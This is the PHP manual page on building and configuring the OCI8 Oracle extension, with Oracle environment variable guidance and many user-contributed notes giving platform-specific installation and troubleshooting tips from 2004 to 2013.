    ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/<version>/client/lib

    For example, --with-oci8=shared,instantclient,/usr/lib/oracle/12.1/client/lib

    Note that Oracle Instant Client support first appeared in PHP 4.3.11 and 5.0.4 and originally used the option --with-oci8-instant-client to configure PHP.

  • If using an Oracle database or full Oracle Client installation then do:

    ./configure --with-oci8=shared,$ORACLE_HOME

    Make sure the web server user (nobody, www) has access to the libraries, initialization files and tnsnames.ora (if used) under the $ORACLE_HOME directory. With Oracle 10gR2, you may need to run the $ORACLE_HOME/install/changePerm.sh utility to give directory access.

After configuration, follow the usual PHP building procedure, e.g. make install. The OCI8 shared extension oci8.so library will be created. It may need to be manually moved to the PHP extension directory, specified by the extension_dir option in your php.ini file.

To complete installation of OCI8, edit php.ini and add the line:

extension=oci8.so

Installing OCI8 as a Statically Compiled Extension

Configure PHP to include OCI8 using one of the following configure options.

  • If using Oracle Instant Client, then do:

    ./configure --with-oci8=instantclient,/path/to/instant/client/lib

  • If using an Oracle database or full Oracle Client installation then do:

    ./configure --with-oci8=$ORACLE_HOME

After configuration, follow the usual PHP building procedure, e.g. make install. After successful compilation, you do not need to add oci8.so to php.ini. No additional build steps are required.

Installing OCI8 from PECL

The OCI8 extension can be added to an existing PHP installation either automatically or manually from » PECL.

For an automated install follow these steps:

  • If you are behind a firewall, set PEAR's proxy, for example:

    pear config-set http_proxy http://my-proxy.example.com:80/

  • Run

    pecl install oci8

    When prompted, enter either the value of $ORACLE_HOME, or instantclient,/path/to/instant/client/lib.

    Note: Do not enter the variable $ORACLE_HOME because it will not be expanded. Instead, enter the actual path of the Oracle home directory.

For a manual install when the pecl command is not available, download the PECL OCI8 package, e.g. oci8-1.4.10.tgz.

  • Extract the package:

    tar -zxf oci8-1.4.10.tgz
cd oci8-1.4.10

  • Prepare the package:

    phpize

  • Configure the package, either using $ORACLE_HOME or Instant Client

    ./configure -with-oci8=shared,$ORACLE_HOME

    or

    ./configure -with-oci8=shared,instantclient,/path/to/instant/client/lib

  • Install the package:

    make install

After either an automatic or manual install, edit your php.ini file and add the line:

extension=oci8.so

Make sure the php.ini directive extension_dir is set to the directory that oci8.so was installed in.

Installing OCI8 on Windows

When using Oracle 10gR2 client libraries on Windows, uncomment the php.ini line extension=php_oci8.dll. When using Oracle 11gR2 or later client libraries, uncomment extension=php_oci8_11g.dll or extension=php_oci8.dll. With Oracle 12c libraries use extension=php_oci8_12c.dll or extension=php_oci8_11g.dll or extension=php_oci8.dll. Only one of these DLLs may be enabled at a time. DLLs with higher versions may contain more functionality. Not all DLLs may be available for all versions of PHP. Make sure extension_dir is set to the directory containing the PHP extension DLLs.

If using Instant Client, set the system PATH environment variable to the Oracle library directory.

Setting the Oracle Environment

Before using this extension, make sure that the Oracle environment variables are properly set for the web daemon user. If your web server is automatically started at boot time then make sure that the boot-time environment is also configured correctly.

Note:

Do not set Oracle environment variables using putenv() in a PHP script because Oracle libraries may be loaded and initialized before your script runs. Variables set with putenv() may then cause conflicts, crashes, or unpredictable behavior. Some functions may work but others might give subtle errors. The variables should be set up before the web server is started.

On Red Hat Linux and variants, export variables at the end of /etc/sysconfig/httpd. Other systems with Apache 2 may use an envvars script in the Apache bin directory. A third option, the Apache SetEnv directive in httpd.conf, may work in some systems but is known to be insufficient in others.

To check that environment variables are set correctly, use phpinfo() and check the Environment (not the Apache Environment) section contains the expected variables.

The variables that might be needed are included in the following table. Refer to the Oracle documentation for more information on all the available variables.

Common Oracle Environment Variables
Name | Purpose
ORACLE_HOME | Contains the directory of the full Oracle Database software. Do not set this when using Oracle Instant Client as it is unnecessary and may cause installation problems.
ORACLE_SID | Contains the name of the database on the local machine to be connected to. There is no need to set this if you using Oracle Instant Client, or always pass the connection parameter to oci_connect().
LD_LIBRARY_PATH | Set this (or its platform equivalent, such as DYLD_LIBRARY_PATH, LIBPATH, or SHLIB_PATH) to the location of the Oracle libraries, for example $ORACLE_HOME/lib or /usr/lib/oracle/11.1/client/lib. This variable is not needed if the libraries are located by a different search mechanism, such as with ldconfig or with LD_PRELOAD.
NLS_LANG | This is the primary variable for setting the character set and globalization information used by the Oracle libraries.
ORA_SDTZ | Sets the Oracle session timezone.
TNS_ADMIN | Contains the directory where the Oracle Net Services configuration files such as tnsnames.ora and sqlnet.ora are kept. Not needed if the oci_connect() connection string uses the Easy Connect naming syntax such as localhost/XE. Not needed if the network configuration files are in one of the default locations such as $ORACLE_HOME/network/admin or /etc.
Less frequently used Oracle environment variables include TWO_TASK, ORA_TZFILE, and the various Oracle globalization settings like NLS* and the ORA_NLS_* variables.

Troubleshooting

The most common problem with installing OCI8 is not having the Oracle environment correctly set. This typically appears as a problem using oci_connect() or oci_pconnect(). The error may be a PHP error such as Call to undefined function oci_connect(), an Oracle error such as ORA-12705, or even an Apache crash. Check the Apache log files for startup errors and see the sections above to resolve this problem.

While network errors like ORA-12154 or ORA-12514 indicate an Oracle network naming or configuration issue, the root cause may be because the PHP environment is incorrectly set up and Oracle libraries are unable to locate the tnsnames.ora configuration file.

On Windows, having multiple versions of Oracle on the one machine can easily cause library clashes unless care is taken to make sure PHP only uses the correct version of Oracle.

A utility to examine what libraries are being looked for and loaded can help resolve missing or clashing library issues, particularly on Windows.

Note: If the web server doesn't start or crashes at startup

Check that Apache is linked with the pthread library:

# ldd /www/apache/bin/httpd
  libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
  libm.so.6 => /lib/libm.so.6 (0x4002f000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
  libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
  libc.so.6 => /lib/libc.so.6 (0x4007e000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

If the libpthread is not listed, then reinstall Apache:

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

Please note that on some systems like UnixWare, it is libthread instead of libpthread. PHP and Apache have to be configured with EXTRA_LIBS=-lthread.

User Contributed Notes

wingjeeplau at gmail dot com 04-Jul-2013 08:38
In Ubuntu the setting is in file /etc/apache2/envvars
Sergey 03-Oct-2012 05:31
Lost a day on trying to make work oci8 & pdo_oci extensions in php-fpm 5.3 on OpenSuSE 12.2 (64bit) with latest oracle instant client 11.2.0.3.0.
Any of two works normally with generic instructions. But both extensions caused crash in oci_connect().

Solution was simple add ORACLE_HOME variable BEFORE running php-fpm.

/etc/profile.d/oracle.sh
#!/bin/bash
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib
NLS_LANG=american_america.utf8
export ORACLE_HOME LD_LIBRARY_PATH NLS_LANG

/etc/init.d/php-fpm
.....
. /etc/rc.status
. /etc/profile.d/oracle.sh # add this after rc.status (note: dot & space)
.....

After "service php-fpm restart" works normally. Hope this helps.
samantha dot vincent at gmail dot com 30-Aug-2012 06:48
Windows Server 2008 Standard Edition Service Pack 2 i586
PHP Version 5.4.4
XAMPP 1.8.0

This is what finally got it working for me:

Downloading win32_11gR2_client.zip from the Oracle website.

It was really hard to find, but I got there by choosing Downloads > Oracle Database 11g Release 2 then clicked the "See All" link on the far right of the Microsoft Windows (32-bit) download links under (11.2.0.1.0)

On this page the second option down is a link to download just the client libraries.

I unzipped it, and ran setup.exe

I chose Runtime, I couldn't get InstantClient to work.

I used the defaults for Oracle Base and Oracle Home, make sure to write these down you need them.
Oracle Base: "D:/app/Administrator"
Oracle Home:  "D:/app/Administrator/product/11.2.0/client_1"

I chose just English as the language.

Next'd through the rest of the installer... The nice thing about this full install is that it sets the Windows Path variable for you, and it has the required library files.

In my php.ini file located in /xampp/php/php.ini
Remove the semicolon from the front of the line: extension=php_oci8_11g.dll

In my apache httpd.conf file in /xampp/apache/conf/httpd.conf

Add the following SetEnv lines to the end of the <Directory "C:/xampp/htdocs"> This is where you use the oracle base and home paths you wrote down earlier while installing the oracle client ;) This is what mine looks like without all the comments.

<Directory "C:/xampp/htdocs">

    Options Indexes FollowSymLinks Includes ExecCGI

    AllowOverride All

    Order allow,deny
    Allow from all

    SetEnv ORACLE_BASE "D:/app/Administrator"
    SetEnv ORACLE_HOME "D:/app/Administrator/product/11.2.0/client_1"
    SetEnv ORACLE_SID ""
    SetEnv NLS_LANG "AMERICAN_AMERICA.WE8MSWIN1252"

</Directory>

I then created a php file and attempted a connection like this:

<?php
$db = "(DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = TCSDB07)(PORT = 1521))) (CONNECT_DATA = (SERVER = DEDICATED)(SERVICE_NAME = IPROD)))";

$conn = oci_connect('username', 'password', $db);
if(!$conn){
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUTOES), E_USER_ERROR);
}
?>
Saxon Leung 21-Feb-2012 06:12
Spending long time in researching how to install this on a freshly installed [Red Hat-based (RHEL, CentOS, Fedora)] Linux, and finally I come to this:

1) Download & install

#yum install oracle-instantclient-basic
#yum install oracle-instantclient-devel

or

Download:
oci8-1.4.7.tgz
oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

#rpm -i oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
#rpm -i oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

2) Check PHP version:

#rpm -qa | grep php

It should looks sth like this:
php-devel-5.3.10-1.w5
php-pdo-5.3.10-1.w5
php-ldap-5.3.10-1.w5
php-cli-5.3.10-1.w5
php-mysql-5.3.10-1.w5
php-5.3.10-1.w5
php-common-5.3.10-1.w5

3) Update if needed by:

#yum --enablerepo=webtatic update php

** Make sure you have php-devel installed before updating to a newer version, or you might have problem to add package back. If it happened, you\\'ll have to reinstall all php packages (sadly I did):

#yum remove php-common
#yum --enablerepo=webtatic install php

4) Remember to install a C compiler for installation use:
#yum install gcc

5) Unzip oci8-1.4.7.tgz:
#tar xvzf oci8-1.4.7

6) Run phpize (php-devel required):
# phpize

7) Setup Config:
# ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client64/lib

8) Add a sym-link to the SDK header files (Comes with the instantclient-devel)

#ln -s /usr/include/oracle/11.2/client64/ /usr/lib/oracle/11.2/client64/lib/include

** The installation defaults to use 1 dir path only, so the missing SDK files need to add back to that directory, by adding a sym-link \\"include\\" under the lib folder.

9) Compile and install:
#make all install

[Please note that I'm installing on a 64-bit platform so links are pointing at client64 instead of client]
P dot D dot Mallinson at liv dot ac dot uk 08-Aug-2011 03:03
Platform: Solaris 10, Apache 2.2, Oracle 11 client

It is well known that the Oracle Instant Client 11g libraries conflict with the OpenLDAP ones.

If features of the 11g client libraries are vital (e.g. needing SQLNET timeouts to work and/or needing to get Oracle service names from directory servers via LDAP - both required in my organisation) then in order to achieve a working oci8 and OpenLDAP setup it is necessary to preload the instant client library in the Apache startup script - e.g.:

# Setup for Oracle 11 instant client
ORACLE_HOME=/usr/local/oracle/instantclient_11_2
export ORACLE_HOME
#
LD_LIBRARY_PATH=/usr/local/oracle/instantclient_11_2:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH
#
LD_PRELOAD=/usr/local/oracle/instantclient_11_2/libclntsh.so.11.1
export LD_PRELOAD
modir at huanga dot com 24-May-2011 12:02
For those of you who would like to install this extension on an RedHat/CentOS server. It is actually pretty simple.

Here is what you have to do:
1) Download the following RPM from Oracle: oracle-instantclient11.2-basiclite-11.2.0.2.0.x86_64.rpm (Version number can be newer and check if you need the 64bit version or not). And then install it on the server.

2) yum install php-oci8

3) And as the last step you edit /etc/sysconfig/httpd and write the following line at the end: export LD_LIBRARY_PATH=/usr/lib/oracle/11.2/client64/lib/ (Attention: Path changes depending on the version you have downloaded from the Oracle website.)
beer at myplace dot now 04-Aug-2009 07:24
I was experiencing issues with Unicode characters being saved incorrectly to my ORA 10 DB. Issue was tracked to not having a NLS_LANG environment variable specified - set this correctly in the Apache environment and the issue was resolved.
benstendahl at hotmail dot com 13-Jul-2009 08:46
When using PHP on an IIS server (Windows Server 2000+):

After installing the Oracle Instant Client and adding it to the "PATH" Environment Variable, be sure that you also add "Read & Execute" privileges to the Oracle Instant Client directory for the IIS user designated for the site.  This is especially necessary if IIS has been hardened using the IIS Lockdown tool (http://technet.microsoft.com/en-us/library/dd450372(WS.10).aspx) as users must be explicitly granted permissions from the web.
nicodenboer (at) yahoo (dot) com 22-Nov-2008 06:35
Hi, I use Oracle Database 10g Express Edition Release
10.2.0.1.0 on a Linux workstation for dev purposes, along
with Apache 2 and PHP5. So far I have used it on Kubuntu 8.04.
To get things working on a recently installed notebook with openSUSE
11.0 was a bit more complicated. So I hope someone will be able to
benefit from our experiences. Here is our howto:

# Use the package manager to install the packages php5-pear and
php5-dev, if not installed yet.

# Download the instantclient_11_1, zip files basic, sdk, sqlplus from the Oracle web site

# Switch to user root here, since not all commands to some work sudo

# Unzip these files to /opt/oracle/.
# As a result you will see a dir instantclient_11_1 appearing.

ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /opt/oracle/instantclient_11_1/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /usr/lib/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libnnz11.so \
   /usr/lib/libnnz11.so
ldconfig # to make sure the system will be able to find the libs

pecl install oci8 # interactively enter option 1,
# then instantclient,/opt/oracle/instantclient_11_1,
# then enter

# if needed, add extension=oci8.so to your php.ini

/etc/init.d/apache2 reload

# finished!

Kind regards,
Nico den Boer
alvaro at demogracia dot com 10-Jun-2008 01:24
If you've followed the instructions and you can't even connect to the DB server, welcome to the Oracle hell. Most of the information you'll find is deprecated, incomplete, not for your platform, unnecessary or just plain wrong.

Typically, you won't need at all those complicate setups you'll read about and they'll probably make things harder. I suggest you get Systernal's "Filemon" utility (for Windows, in Unix you may do with strace) and find out what exact config files and DLLs are being tried by php.exe (or httpd.exe if PHP runs as Apache module or...). Pretty often, the issue is that (e.g.) TNSNAMES.ORA does not have the correct line ending or Apache is looking for a DLL that does not even exist in your hard disc; learning that prevents you to waste time adding more and more useless environmental variables.

Goog luck.
mike at macgirvin.com 21-May-2008 03:05
Some notes to save somebody some grief:

Installing the Oracle libraries and access module into an existing PHP5 installation on Debian etch without rebuilding php...

First grab the Linux instantclient from oracle.com - you'll also need the client SDK kit. Here I'm using instantclient 11.1

create a directory for these such as /home/oracle and unpack both of them to that directory.

Go into the oracle directory (and into the instantclient_11_1 directory) and create a symlink:

$ ln -s libclntsh.so.11.1 libclntsh.so

Grab the oci8 PECL package and unpack it somewhere (~/oci).

Make sure you have the following packages (in addition to php5, php5-cli, apache2, etc).

  php5-dev

  libaio1

  php-pear

Go to the oci8 directory (~/oci/).

You need to run 'pecl build' once to create the configure script.

$pecl build

But the problem is that pecl build will claim the files are installed and they are not. I wasted half a day on this one. Now go into the oci8-1.3.0 directory and build again by hand:

$ cd oci8-1.3.0

$ ./configure --with-oci8=instantclient,/home/oracle/instantclient_11_1

$ make

Fix any errors/warnings before continuing

Don't make install, which won't work.

$ cp ./modules/oci8.so /usr/lib/php5/20060613+lfs

Replace 20060613+lfs with whatever module directory has been setup for you in /usr/lib/php5

Create /etc/php5/conf.d/oci8.ini:

----

extension=oci8.so

----

Now run the php cmdline in verbose mode (php -v) and see if everything loaded. Fix it if it didn't.

You may need some env variables setup in your /etc/init.d/apache2 file to make everything work and actually execute queries, but a phpinfo() at this point should show your oci8 extension. See the php.net Oracle pages if you need help with the env variables.

Restart the web server

$ /etc/init.d/apache2 restart
ashnazg at php dot net 19-Dec-2007 07:51
Do not underestimate the importance of NLS_LANG in your environment.

The Oracle error "ORA-03106: fatal two-task communication protocol error" is indicative of not having NLS_LANG set.

In my case, I had a successfully processing INSERT statement followed by a failing SELECT statement that was resulting in that ORA-03106 error.  The successful INSERT implied that all Oracle environment settings were fine.  Ultimately we found that the NLS_LANG was not set, and I have to assume that only the SELECT of data back from the database actually _needed_ it, and therefore it was the SELECT statement that triggered the failure.  Though, that is all speculation.
david dot reynoldsat at ipl dot com 10-Apr-2007 04:56
I had a problem loading php_oci8.dll with php 5.2, Apache, and windows XP - a module not loaded error, on every apache restart.
I eventually found that I had to add the oracle instantclient library path to the %PATH% under SYSTEM and not under USER.  Doing that, and then rebooting, fixed the error - as Apache is starting as a service (outside the user setup).
jay dot couture at gmail dot com 07-Dec-2006 12:26
# Here's what it took to get it going for me on Red Hat on
# x86_32 w/ 10gr2 and php5.1.2
# I sincerely appreciate all of the other poster's notes.
# It was a combination of a few
# of them to get mine configured. My note should reflect this:

# install the instantclient basic and sdk like this
# note: the original poster had you install into a lib subdirectory,
# but when I tried this it couldn't find the sdk files. So I moved
# the files in lib into the parent directory as
# shown below. Actually I copied them, YMMV
mkdir -p /usr/lib/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-basic-linux-x86-32-10.2.0.2-20060331.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-sdk-linux-x86-32-10.2.0.2-20060331.zip
ln -s /usr/lib/oracle/10.2.0.2/client/libclntsh.so.10.1
    /usr/lib/oracle/10.2.0.2/client/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

#php configure line is:
    ./configure --with-oci8=instantclient,/usr/lib/oracle/10.2.0.2/client

# I had to do this, or the OCI8 would not compile when
# I ran make on PHP5.1.2 I did not do this originally when I
# had the files in the lib sudirectory (see my note above) so
# that may be the true issue.
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH

make

make install

#In apache2 edit the envvars and add
LD_LIBRARY_PATH="/usr/local/apache2/lib:
    /usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH"
TNS_ADMIN="/usr/lib/oracle/10.2.0.2/client"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN

#Restart Apache

Jay
rainer dot klier at gmx dot at 22-May-2006 11:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
f dot kheiri at ucl dot ac dot uk 29-Apr-2006 04:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
26-Apr-2006 12:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
soef at tjah dot net 03-Mar-2006 09:04
To install this in gentoo linux you will need to do some weird stuff:

-  Make sure you have this use flags set: "dba cli pcre xml zlib oci8-instant-client"
- Unmask PHP (5.1.1) by placing "dev-lang/php ~x86" in /etc/portage/package.keywords
- Unmask oracle-instantclient-basic (10.2.0.1-r1) by placing "dev-db/oracle-instantclient-basic ~x86"
- Download oracle files from "http://otn.oracle.com/software/tech/ oci/instantclient/htdocs/linuxsoft.html" (You have to make an account and login, in order to download the packages:

    * instantclient-basic-linux32-10.2.0.1-20050713.zip
    * instantclient-sdk-linux32-10.2.0.1-20050713.zip

- Place the downloaded packages in "/usr/portage/distfiles"
- "emerge apache dev-lang/php5" (If you done right, the build for the instantclient will be selected automaticly.
- Configure your "/etc/conf.d/apache2" to make sure you have "-D PHP5" in your "APACHE_OPTS"
scoop at subindie dot com 26-Oct-2005 10:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
ben at onshop dot co dot uk 06-Jul-2005 05:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
denis dot delamarre at chu-rennes dot fr 10-Jun-2005 07:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp 07-Jun-2005 03:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
tof 18-May-2005 02:15
If you want the change NLS_LANG (e.g.:  NLS_LANG="FRENCH_FRANCE.WE8ISO8859P1") don't forget to also set LC_ALL and LANG (e.g.: LC_ALL=french and LANG=french) else you'll have a ORA-01756 when you try to call ocilogon.
kucerar at hhmi dot org 23-Feb-2005 05:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
buswash at gmail dot com 02-Feb-2005 03:51
PHP 5.0.3 + Solaris 9 (UltraSPARC) + Apache 2.0.51 + Oracle 10g Instant Client 10.1.0.3

Thanks to Jakob's patch I got this combination working.  Here are some things that helped me:

1. After getting this:
ld: fatal: file /opt/oracle/instantclient/libclntsh.so: wrong ELF class: ELFCLASS64

I realized that PHP is a 32-bit application and that all 3rd-party libraries need to be 32-bit as well.  You need to download the 32-bit version of Instant Client (basic + sdk), even if you are running the 64-bit Solaris OS.

2. My patch command syntax was a little different:
patch -p0 -i php5_ociclient.patch config.m4

Thanks again to Jakob for porting the patch over to PHP 5.

Marc
Mark at catalyst dot net dot nzed 10-Aug-2004 05:28
ReCompiling PHP4 to have oracle 8 support (oci8) on Debian Linux, using the Oracle 10g client libraries. Log in as root.

PACKAGES REQUIRED:
php4-dev
php4 (source files)
php4 module (might not be required, but it's what i had installed at the time)

OTHER PACKAGE REQUIREMENTS:
Oracle Client Libraries (i used Oracle 10g Server, but you should be able to use, as has been previously said, any set of the oracle client libraries from 8i onwards).
* make sure this is installed before recompiling php4.

ENVIRONMENT REQUIREMENTS:
- export ORACLE_HOME=[where u installed the oracle client]
- export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
- export LD_PRELOAD=libclntsh.so.10.1 (the version number at the end will correspond to the oracle version you previously installed. in my case, 10g is 10.1).
- vi /etc/ld.so.conf and add $ORACLE_HOME/lib to the list of paths.
then * run ldconfig to reload those changes to the system * (p.s. make sure it's the full path, and not using any environment variables. e.g. /u01/app/oracle/product/10gRDBMS is my ORACLE_HOME).

STEPS:
- cd /usr/src/[PHP4 Version]
in my case, [PHP4 Version] = php4-4.3.8, so path was
/usr/src/php4-4.3.8

- vi debian/rules
these are the default compilation rules for php4. Find section labeled COMMON_CONFIG = [...] and add --with-oci8 (it should be near the top of the file).

- debchange -i (allows you to edit the change log for the versions of php. btw - you should be in the php4 source code directory). give the version id something obviously unique. don't forget to add a comment.

when all is in readyness, then you should be able to go debian/rules binary to build the debian packages required.
the deb packages are built into the /usr/src directory. and depending on the default compilation options u choose, there should be a few. find the deb package that corresponds to the main php4 module (php4_4.3.8-4.mark.1_i386.deb for me), and run dpkg -i [package name] to install it.

- vi /etc/init.d/apache and add exports for $ORACLE_HOME, $LD_PRELOAD and $LD_LIBRARY_PATH

* don't forget to restart apache /etc/init.d/apache to reload the php4 module. *

IF YOU GET... :
if you get an error saying something about apache cannot load libclntsh.so.10.1, file not found, check the environment variables, for both the user, and in /etc/init.d/apache and also check ld.so.conf to make sure the $ORACLE_HOME/lib path is in there, and has been reloaded (with ldconfig).

editing ld.so.conf was the part that finally got it working for me.
as you should be able to tell, the steps are pretty much the same as for all oracle versions 8i onwards, and all linux OS's. but with a few debian specific paths and commands thrown in.
neogodo at yahoo dot com dot br 07-Aug-2004 03:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
mark at magpies dot net 05-Jul-2004 06:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
ed000001 at hotmail dot com 02-Jul-2004 12:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

